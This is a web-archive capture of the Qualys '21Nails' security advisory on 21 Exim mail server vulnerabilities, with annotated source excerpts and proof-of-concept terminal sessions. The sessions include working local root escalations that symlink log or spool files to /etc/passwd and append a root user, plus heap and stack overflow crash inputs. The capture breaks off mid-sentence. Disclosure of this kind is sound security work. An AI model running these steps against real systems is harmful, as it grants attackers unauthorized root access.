{"id":40484,"date":"2026-02-11T12:47:33","date_gmt":"2026-02-11T12:47:33","guid":{"rendered":"http:\/\/localhost\/?p=40484"},"modified":"2026-02-11T12:47:33","modified_gmt":"2026-02-11T12:47:33","slug":"qualys-security-advisory-exim-21nails-advisory","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40484","title":{"rendered":"\ud83d\udcc4 Qualys Security Advisory &#8211; Exim 21Nails Advisory_PACKETSTORM:215377"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:47:51&#8243;,&#8221;description&#8221;:&#8221;Qualys audited central parts of the Exim mail server and discovered 21 vulnerabilities, with 11 being local vulnerabilities and 10 being remote vulnerabilities. This is older research from 2021 that was missing from the archive&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Qualys Security Advisory &#8211; Exim 21Nails Advisory&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215377&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2010-4344&#8243;,&#8221;CVE-2010-4345&#8243;,&#8221;CVE-2014-2957&#8243;,&#8221;CVE-2015-0235&#8243;,&#8221;CVE-2017-16943&#8243;,&#8221;CVE-2017-16944&#8243;,&#8221;CVE-2019-10149&#8243;,&#8221;CVE-2020-12783&#8243;,&#8221;CVE-2020-28007&#8243;,&#8221;CVE-2020-28008&#8243;,&#8221;CVE-2020-28009&#8243;,&#8221;CVE-2020-28010&#8243;,&#8221;CVE-2020-28011&#8243;,&#8221;CVE-2020-28012&#8243;,&#8221;CVE-2020-28013&#8243;,&#8221;CVE-2020-28014&#8243;,&#8221;CVE-2020-28015&#8243;,&#8221;CVE-2020-28016&#8243;,&#8221;CVE-2020-28017&#8243;,&#8221;CVE-2020-28018&#8243;,&#8221;CVE-2020-28019&#8243;,&#8221;CVE-2020-28020&#8243;,&#8221;CVE-2020-28021&#8243;,&#8221;CVE-2020-28022&#8243;,&#8221;CVE-2020-28023&#8243;,&#8221;CVE-2020-28024&#8243;,&#8221;CVE-2020-28025&#8243;,&#8221;CVE-2020-28026&#8243;,&#8221;CVE-2020-8794&#8243;,&#8221;CVE-2021-27216&#8243;],&#8221;sourceData&#8221;:&#8221;Qualys Security Advisory\\n    \\n    21Nails: Multiple vulnerabilities in Exim\\n    \\n    \\n    ========================================================================\\n    Contents\\n    ========================================================================\\n    \\n    Summary\\n    Local vulnerabilities\\n    &#8211; CVE-2020-28007: Link attack in Exim&#8217;s log directory\\n    &#8211; CVE-2020-28008: Assorted attacks in Exim&#8217;s spool directory\\n    &#8211; CVE-2020-28014: Arbitrary file creation and clobbering\\n    &#8211; CVE-2021-27216: Arbitrary file deletion\\n    &#8211; CVE-2020-28011: Heap buffer overflow in queue_run()\\n    &#8211; CVE-2020-28010: Heap out-of-bounds write in main()\\n    &#8211; CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()\\n    &#8211; CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()\\n    &#8211; CVE-2020-28015: New-line injection into spool header file (local)\\n    &#8211; CVE-2020-28012: Missing close-on-exec flag for privileged pipe\\n    &#8211; CVE-2020-28009: Integer overflow in get_stdinput()\\n    Remote vulnerabilities\\n    &#8211; CVE-2020-28017: Integer overflow in receive_add_recipient()\\n    &#8211; CVE-2020-28020: Integer overflow in receive_msg()\\n    &#8211; CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()\\n    &#8211; CVE-2020-28021: New-line injection into spool header file (remote)\\n    &#8211; CVE-2020-28022: Heap out-of-bounds read and write in extract_option()\\n    &#8211; CVE-2020-28026: Line truncation and injection in spool_read_header()\\n    &#8211; CVE-2020-28019: Failure to reset function pointer after BDAT error\\n    &#8211; CVE-2020-28024: Heap buffer underflow in smtp_ungetc()\\n    &#8211; CVE-2020-28018: Use-after-free in tls-openssl.c\\n    &#8211; CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()\\n    Acknowledgments\\n    Timeline\\n    \\n    \\n    ========================================================================\\n    Summary\\n    ========================================================================\\n    \\n    We recently audited central parts of the Exim mail server\\n    (https:\/\/en.wikipedia.org\/wiki\/Exim) and discovered 21 vulnerabilities\\n    (from CVE-2020-28007 to CVE-2020-28026, plus CVE-2021-27216): 11 local\\n    vulnerabilities, and 10 remote vulnerabilities. Unless otherwise noted,\\n    all versions of Exim are affected since at least the beginning of its\\n    Git history, in 2004.\\n    \\n    We have not tried to exploit all of these vulnerabilities, but we\\n    successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs\\n    (Remote Code Executions):\\n    \\n    &#8211; CVE-2020-28007 (LPE, from user \\&#8221;exim\\&#8221; to root);\\n    \\n    &#8211; CVE-2020-28008 (LPE, from user \\&#8221;exim\\&#8221; to root);\\n    \\n    &#8211; CVE-2020-28015 (LPE, from any user to root);\\n    \\n    &#8211; CVE-2020-28012 (LPE, from any user to root, if allow_filter is true);\\n    \\n    &#8211; CVE-2020-28020 (unauthenticated RCE as \\&#8221;exim\\&#8221;, in Exim \\u003c 4.92);\\n    \\n    &#8211; CVE-2020-28018 (unauthenticated RCE as \\&#8221;exim\\&#8221;, in 4.90 \\u003c= Exim \\u003c 4.94,\\n      if TLS encryption is provided by OpenSSL);\\n    \\n    &#8211; CVE-2020-28021 (authenticated RCE, as root);\\n    \\n    &#8211; CVE-2020-28017 is also exploitable (unauthenticated RCE as \\&#8221;exim\\&#8221;),\\n      but requires more than 25GB of memory in the default configuration.\\n    \\n    We will not publish our exploits for now; instead, we encourage other\\n    security researchers to write and publish their own exploits:\\n    \\n    &#8211; This advisory contains sufficient information to develop reliable\\n      exploits for these vulnerabilities; in fact, we believe that better\\n      exploitation methods exist.\\n    \\n    &#8211; We hope that more security researchers will look into Exim&#8217;s code and\\n      report their findings; indeed, we discovered several of these\\n      vulnerabilities while working on our exploits.\\n    \\n    &#8211; We will answer (to the best of our abilities) any questions regarding\\n      these vulnerabilities and exploits on the public \\&#8221;oss-security\\&#8221; list\\n      (https:\/\/oss-security.openwall.org\/wiki\/mailing-lists\/oss-security).\\n    \\n    Last-minute note: as explained in the Timeline, we developed a minimal\\n    set of patches for these vulnerabilities; for reference and comparison,\\n    it is attached to this advisory and is also available at\\n    https:\/\/www.qualys.com\/research\/security-advisories\/.\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28007: Link attack in Exim&#8217;s log directory\\n    ========================================================================\\n    \\n    The Exim binary is set-user-ID-root, and Exim operates as root in its\\n    log directory, which belongs to the \\&#8221;exim\\&#8221; user:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    drwxr-s&#8212; 2 Debian-exim adm         4096 Nov  4 06:16 \/var\/log\/exim4\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    An attacker who obtained the privileges of the \\&#8221;exim\\&#8221; user (by\\n    exploiting CVE-2020-28020 or CVE-2020-28018 for example) can exploit\\n    this local vulnerability to obtain full root privileges. Indeed, the\\n    following code opens a log file in append mode, as root (lines 465-469):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n      22 static uschar *log_names[] = { US\\&#8221;main\\&#8221;, US\\&#8221;reject\\&#8221;, US\\&#8221;panic\\&#8221;, US\\&#8221;debug\\&#8221; };\\n     &#8230;\\n     382 static void\\n     383 open_log(int *fd, int type, uschar *tag)\\n     384 {\\n     &#8230;\\n     387 uschar buffer[LOG_NAME_SIZE];\\n     &#8230;\\n     398 ok = string_format(buffer, sizeof(buffer), CS file_path, log_names[type]);\\n     &#8230;\\n     465 *fd = Uopen(buffer,\\n     466 #ifdef O_CLOEXEC\\n     467                 O_CLOEXEC |\\n     468 #endif\\n     469                 O_APPEND|O_WRONLY, LOG_MODE);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    The name of the log file in buffer is derived from file_path, which is\\n    derived from log_file_path, a format string defined at compile time (or\\n    re-defined by the configuration file). On Debian, log_file_path is\\n    \\&#8221;\/var\/log\/exim4\/%slog\\&#8221;, and \\&#8221;%s\\&#8221; is converted to \\&#8221;main\\&#8221;, \\&#8221;reject\\&#8221;,\\n    \\&#8221;panic\\&#8221;, or \\&#8221;debug\\&#8221; at run time (line 398).\\n    \\n    An attacker with the privileges of the \\&#8221;exim\\&#8221; user can create a symlink\\n    (or a hardlink) in the log directory, append arbitrary contents to an\\n    arbitrary file (to \/etc\/passwd, for example), and obtain full root\\n    privileges:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    id\\n    uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)\\n    \\n    cd \/var\/log\/exim4\\n    ln -s -f \/etc\/passwd paniclog\\n    \\n    \/usr\/sbin\/exim4 -Rr $&#8217;X\\\\n_trinity:SCB2INhNOLCrc:0:0::\/:\\\\nX[&#8216;\\n    \\n    grep -1 _trinity \/etc\/passwd\\n    2021-03-09 09:45:05 regular expression error: missing terminating ] for character class at offset 35 while compiling X\\n    _trinity:SCB2INhNOLCrc:0:0::\/:\\n    X[\\n    \\n    su -l _trinity\\n    Password: Z1ON0101\\n    \\n    id\\n    uid=0(root) gid=0(root) groups=0(root)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28008: Assorted attacks in Exim&#8217;s spool directory\\n    ========================================================================\\n    \\n    Exim also operates as root in its spool directory, which belongs to the\\n    \\&#8221;exim\\&#8221; user:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    drwxr-x&#8212; 5 Debian-exim Debian-exim 4096 Nov  4 06:16 \/var\/spool\/exim4\\n    drwxr-x&#8212; 2 Debian-exim Debian-exim 4096 Nov  4 06:16 \/var\/spool\/exim4\/db\\n    drwxr-x&#8212; 2 Debian-exim Debian-exim 4096 Nov  4 06:16 \/var\/spool\/exim4\/input\\n    drwxr-x&#8212; 2 Debian-exim Debian-exim 4096 Nov  4 06:16 \/var\/spool\/exim4\/msglog\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    An attacker who obtained the privileges of the \\&#8221;exim\\&#8221; user can exploit\\n    this local vulnerability to obtain full root privileges. Various attack\\n    vectors exist:\\n    \\n    &#8211; The attacker can directly write to a spool header file (in the \\&#8221;input\\&#8221;\\n      subdirectory) and reuse our exploitation technique for CVE-2020-28015.\\n    \\n    &#8211; The attacker can create a long-named file in the \\&#8221;db\\&#8221; subdirectory and\\n      overflow a stack-based buffer (at line 208):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     87 open_db *\\n     88 dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof)\\n     89 {\\n     ..\\n     94 uschar dirname[256], filename[256];\\n    &#8230;\\n    111 snprintf(CS dirname, sizeof(dirname), \\&#8221;%s\/db\\&#8221;, spool_directory);\\n    112 snprintf(CS filename, sizeof(filename), \\&#8221;%s\/%s.lockfile\\&#8221;, dirname, name);\\n    &#8230;\\n    198   uschar *lastname = Ustrrchr(filename, &#8216;\/&#8217;) + 1;\\n    199   int namelen = Ustrlen(name);\\n    200 \\n    201   *lastname = 0;\\n    202   dd = opendir(CS filename);\\n    203 \\n    204   while ((ent = readdir(dd)))\\n    205     if (Ustrncmp(ent-\\u003ed_name, name, namelen) == 0)\\n    206       {\\n    207       struct stat statbuf;\\n    208       Ustrcpy(lastname, ent-\\u003ed_name);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n      Proof of concept:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    id\\n    uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)\\n    \\n    cd \/var\/spool\/exim4\/db\\n    rm -f retry*\\n    touch retry`perl -e &#8216;print \\&#8221;A\\&#8221; x (255-5)&#8217;`\\n    \\n    \/usr\/sbin\/exim4 -odf -oep postmaster \\u003c \/dev\/null\\n    *** stack smashing detected ***: \\u003cunknown\\u003e terminated\\n    2020-11-04 15:34:02 1kaPTm-0000gu-I0 process 2661 crashed with signal 6 while delivering 1kaPTm-0000gu-I0\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; The attacker can create a symlink (or a hardlink) in the \\&#8221;db\\&#8221;\\n      subdirectory and take ownership of an arbitrary file (at line 212):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    204   while ((ent = readdir(dd))) \\n    205     if (Ustrncmp(ent-\\u003ed_name, name, namelen) == 0)\\n    206       {\\n    207       struct stat statbuf;\\n    208       Ustrcpy(lastname, ent-\\u003ed_name);\\n    209       if (Ustat(filename, \\u0026statbuf) \\u003e= 0 \\u0026\\u0026 statbuf.st_uid != exim_uid)\\n    210         {\\n    211         DEBUG(D_hints_lookup) debug_printf_indent(\\&#8221;ensuring %s is owned by exim\\\\n\\&#8221;, filename);\\n    212         if (Uchown(filename, exim_uid, exim_gid))\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n      Exploitation:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    id\\n    uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)\\n    \\n    cd \/var\/spool\/exim4\/db\\n    rm -f retry*\\n    ln -s -f \/etc\/passwd retry.passwd\\n    \\n    \/usr\/sbin\/exim4 -odf -oep postmaster \\u003c \/dev\/null\\n    \\n    ls -l \/etc\/passwd\\n    -rw-r&#8211;r&#8211; 1 Debian-exim Debian-exim 1580 Nov  4 21:55 \/etc\/passwd\\n    \\n    echo &#8216;_francoise:$1$dAuS1HDV$mT0noBeBopmZgLYD5ZiZb1:0:0::\/:&#8217; \\u003e\\u003e \/etc\/passwd\\n    \\n    su -l _francoise\\n    Password: RadicalEdward\\n    \\n    id\\n    uid=0(root) gid=0(root) groups=0(root)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Side note: CVE-2020-28007 and CVE-2020-28008 are very similar to\\n    https:\/\/www.halfdog.net\/Security\/2016\/DebianEximSpoolLocalRoot\/.\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28014: Arbitrary file creation and clobbering\\n    ========================================================================\\n    \\n    An attacker who obtained the privileges of the \\&#8221;exim\\&#8221; user can abuse the\\n    -oP override_pid_file_path option to create (or overwrite) an arbitrary\\n    file, as root. The attacker does not, however, control the contents of\\n    this file:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    id\\n    uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)\\n    \\n    \/usr\/sbin\/exim4 -bdf -oX 0 -oP \/etc\/ld.so.preload \\u0026\\n    [1] 3371\\n    \\n    sleep 3\\n    \\n    kill -9 \\&#8221;$!\\&#8221;\\n    [1]+  Killed                  \/usr\/sbin\/exim4 -bdf -oX 0 -oP \/etc\/ld.so.preload\\n    \\n    ls -l \/etc\/ld.so.preload\\n    ERROR: ld.so: object &#8216;3371&#8217; from \/etc\/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.\\n    -rw-r&#8211;r&#8211; 1 root Debian-exim 5 Nov  4 20:20 \/etc\/ld.so.preload\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    The attacker can also combine this vulnerability with CVE-2020-28007 or\\n    CVE-2020-28008 to create an arbitrary file with arbitrary contents and\\n    obtain full root privileges.\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2021-27216: Arbitrary file deletion\\n    ========================================================================\\n    \\n    While working on a patch for CVE-2020-28014, we discovered another\\n    related vulnerability: any local user can delete any arbitrary file as\\n    root (for example, \/etc\/passwd), by abusing the -oP and -oPX options in\\n    delete_pid_file():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     932 void\\n     933 delete_pid_file(void)\\n     934 {\\n     935 uschar * daemon_pid = string_sprintf(\\&#8221;%d\\\\n\\&#8221;, (int)getppid());\\n     &#8230;\\n     939 if ((f = Ufopen(pid_file_path, \\&#8221;rb\\&#8221;)))\\n     940   {\\n     941   if (  fgets(CS big_buffer, big_buffer_size, f)\\n     942         \\u0026\\u0026 Ustrcmp(daemon_pid, big_buffer) == 0\\n     943      )\\n     944     if (Uunlink(pid_file_path) == 0)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    To exploit this vulnerability, a local attacker must win an easy race\\n    condition between the fopen() at line 939 and the unlink() at line 944;\\n    this is left as an exercise for the interested reader.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced in Exim 4.94:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit 01446a56c76aa5ac3213a86f8992a2371a8301f3\\n    Date:   Sat Nov 9 16:04:14 2019 +0000\\n    \\n        Remove the daemon pid file when exit is due to SIGTERM.  Bug 340\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28011: Heap buffer overflow in queue_run()\\n    ========================================================================\\n    \\n    Through the -R deliver_selectstring and -S deliver_selectstring_sender\\n    options, the \\&#8221;exim\\&#8221; user can overflow the heap-based big_buffer in\\n    queue_run() (lines 419 and 423):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     412   p = big_buffer;\\n     &#8230;\\n     418   if (deliver_selectstring)\\n     419     p += sprintf(CS p, \\&#8221; -R%s %s\\&#8221;, f.deliver_selectstring_regex? \\&#8221;r\\&#8221; : \\&#8221;\\&#8221;,\\n     420       deliver_selectstring);\\n     421 \\n     422   if (deliver_selectstring_sender)\\n     423     p += sprintf(CS p, \\&#8221; -S%s %s\\&#8221;, f.deliver_selectstring_sender_regex? \\&#8221;r\\&#8221; : \\&#8221;\\&#8221;,\\n     424       deliver_selectstring_sender);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    We have not tried to exploit this vulnerability; if exploitable, it\\n    would allow an attacker who obtained the privileges of the \\&#8221;exim\\&#8221; user\\n    to obtain full root privileges.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    id\\n    uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)\\n    \\n    \/usr\/sbin\/exim4 -R `perl -e &#8216;print \\&#8221;A\\&#8221; x 128000&#8217;`\\n    malloc(): invalid size (unsorted)\\n    Aborted\\n    \\n    \/usr\/sbin\/exim4 -S `perl -e &#8216;print \\&#8221;A\\&#8221; x 128000&#8217;`\\n    malloc(): invalid size (unsorted)\\n    Aborted\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28010: Heap out-of-bounds write in main()\\n    ========================================================================\\n    \\n    For debugging and logging purposes, Exim copies the current working\\n    directory (initial_cwd) into the heap-based big_buffer:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    3665 initial_cwd = os_getcwd(NULL, 0);\\n    &#8230;.\\n    3945   uschar *p = big_buffer;\\n    3946   Ustrcpy(p, \\&#8221;cwd= (failed)\\&#8221;);\\n    &#8230;.\\n    3952     Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);\\n    3953     p += 4 + Ustrlen(initial_cwd);\\n    &#8230;.\\n    3956     *p = &#8216;\\\\0&#8217;;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at\\n    least) initial_cwd can be much longer than big_buffer_size (16KB): line\\n    3953 can increase p past big_buffer&#8217;s end, and line 3956 (and beyond)\\n    can write out of big_buffer&#8217;s bounds.\\n    \\n    We have not tried to exploit this vulnerability; if exploitable, it\\n    would allow an unprivileged local attacker to obtain full root\\n    privileges.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    id\\n    uid=1001(jane) gid=1001(jane) groups=1001(jane)\\n    \\n    perl -e &#8216;use strict;\\n    my $a = \\&#8221;A\\&#8221; x 255;\\n    for (my $i = 0; $i \\u003c 4096; $i++) {\\n    mkdir \\&#8221;$a\\&#8221;, 0700 or die;\\n    chdir \\&#8221;$a\\&#8221; or die; }\\n    exec \\&#8221;\/usr\/sbin\/exim4\\&#8221;, \\&#8221;-d+all\\&#8221; or die;&#8217;\\n    &#8230;\\n    23:50:39  5588 changed uid\/gid: forcing real = effective\\n    23:50:39  5588   uid=0 gid=1001 pid=5588\\n    &#8230;\\n    Segmentation fault\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced in Exim 4.92:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit 805fd869d551c36d1d77ab2b292a7008d643ca79\\n    Date:   Sat May 19 12:09:55 2018 -0400\\n    &#8230;\\n       Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);\\n    +  p += 4 + Ustrlen(initial_cwd);\\n    +  \/* in case p is near the end and we don&#8217;t provide enough space for\\n    +   * string_format to be willing to write. *\/\\n    +  *p = &#8216;\\\\0&#8217;;\\n     \\n    &#8211;  while (*p) p++;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()\\n    ========================================================================\\n    \\n    If a local attacker executes Exim with a -F &#8216;.(&#8216; option (for example),\\n    then parse_fix_phrase() calls strncpy() with a -1 size (which overflows\\n    the destination buffer, because strncpy(dest, src, n) \\&#8221;writes additional\\n    null bytes to dest to ensure that a total of n bytes are written\\&#8221;).\\n    \\n    Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is\\n    decremented, and at line 1127 ss-s is equal to -1:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1124             {\\n    1125             if (ss \\u003e= end) ss&#8211;;\\n    1126             *t++ = &#8216;(&#8216;;\\n    1127             Ustrncpy(t, s, ss-s);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    We have not tried to exploit this vulnerability; if exploitable, it\\n    would allow an unprivileged local attacker to obtain 